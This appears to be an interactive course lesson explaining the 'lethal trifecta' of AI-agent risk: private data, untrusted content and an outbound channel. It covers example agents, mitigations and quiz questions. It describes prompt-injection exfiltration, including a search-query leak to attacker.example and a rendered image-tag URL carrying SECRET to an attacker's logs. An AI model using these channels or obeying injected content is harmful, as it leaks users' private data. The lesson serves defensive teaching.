The lethal trifecta
Three capabilities that are each perfectly fine on their own. Put all three in one agent and you have built a data-theft machine. Flip the switches and watch.
In 60 seconds
The lethal trifecta
Three capabilities that are each perfectly fine on their own. Put all three in one agent and you have built a data-theft machine. Flip the switches and watch.
Interactive · build the trifecta
Why all three are needed
- 1
Access to private data
Something worth stealing: your files, your emails, your customer database, your source code, your API keys. - 2
Exposure to untrusted content
A way for an attacker's words to reach the model: the open web, incoming email, uploaded files, public issues, third-party tools. - 3
The ability to communicate out
Any channel that carries information away: sending email, posting, writing to a public place, or even just loading an image from a URL. - 4
Remove any one
The attack stops. Not gets harder — stops. There is either nothing to steal, no way to give the order, or no way to carry the loot out.
Real shapes it takes
| Agent | Private data | Untrusted content | Way out |
|---|---|---|---|
| Email assistant | Your whole inbox | Any email anyone sends you | It can send email |
| Coding agent | Source code and .env secrets | Issues, PRs, dependency docs | It can push, or make network calls |
| Browsing assistant | Your logged-in sessions | Every page it visits | It can navigate to any URL |
| Support agent | The customer database | Incoming tickets | It can reply to tickets |
| Personal assistant | Calendar, contacts, files | Invites, shared docs | It can message and share |
Cutting a leg off
- Give the agent a scoped, read-only view instead of the whole store.
- Redact secrets before they ever reach the model.
- Separate sessions so one user's data never sits beside another's.
- Fetch data only after the plan is fixed, never before.
- Allow-list outbound domains — nothing else resolves.
- Ban auto-loading remote images and links in rendered output.
- Human approval on every send, post or push.
- No free-text URLs: the agent picks from a fixed list.
Watch and read more
Lab
Trifecta audits of four real systems, and the cheapest leg to cut in each.
The problem
You are done when
Hard questions
Try to answer before you reveal. If you can answer these, you understood the lesson.
Q1A read-only agent with no email, no writes, no posting. Only web search. Prove data can still escape, with a mechanism.Reveal
<secret> site:attacker.example, and reads the referrer or the query in their own logs. Even a boolean channel leaks a key given enough queries, and agents make many queries.Q2Your team must ship an email assistant — all three legs, non-negotiable. Design the strongest system you can and state the residual risk plainly.Reveal
Questions people ask
What if I only have two of the three?
You are in decent shape, and you should write down which leg is missing and defend it deliberately — because the third leg gets added by accident. A ticket titled "let the assistant send a summary email" is a trifecta being completed.
Is loading an image really a way out?
Yes, and it is the classic one. The model writes an image tag pointing at attacker.example/log?d=SECRET. The chat client renders it, your browser fetches it, and the secret is now in the attacker's web server logs. No click required. Module 12 covers this family.
Does an approval click fix it?
Only if the human can actually understand what they are approving. "Allow network request?" trains people to click yes. "Send your last 40 emails to unknown-domain.example?" does not.
Can I keep all three if I'm careful?
Sometimes, with serious engineering: strict outbound allow-lists, structured-only data flow, per-action approval, and heavy monitoring. It is expensive and it is never fully safe. Cut a leg if you possibly can.
Where did this idea come from?
Simon Willison coined "the lethal trifecta" in June 2025 as a way to explain the pattern to non-specialists. It caught on because it turns a fuzzy risk into a checklist anyone can run.
Lesson test
5 questions. Get 3 right (60%) to pass and complete this lesson.
Sign in with your phone number to take the test and save your progress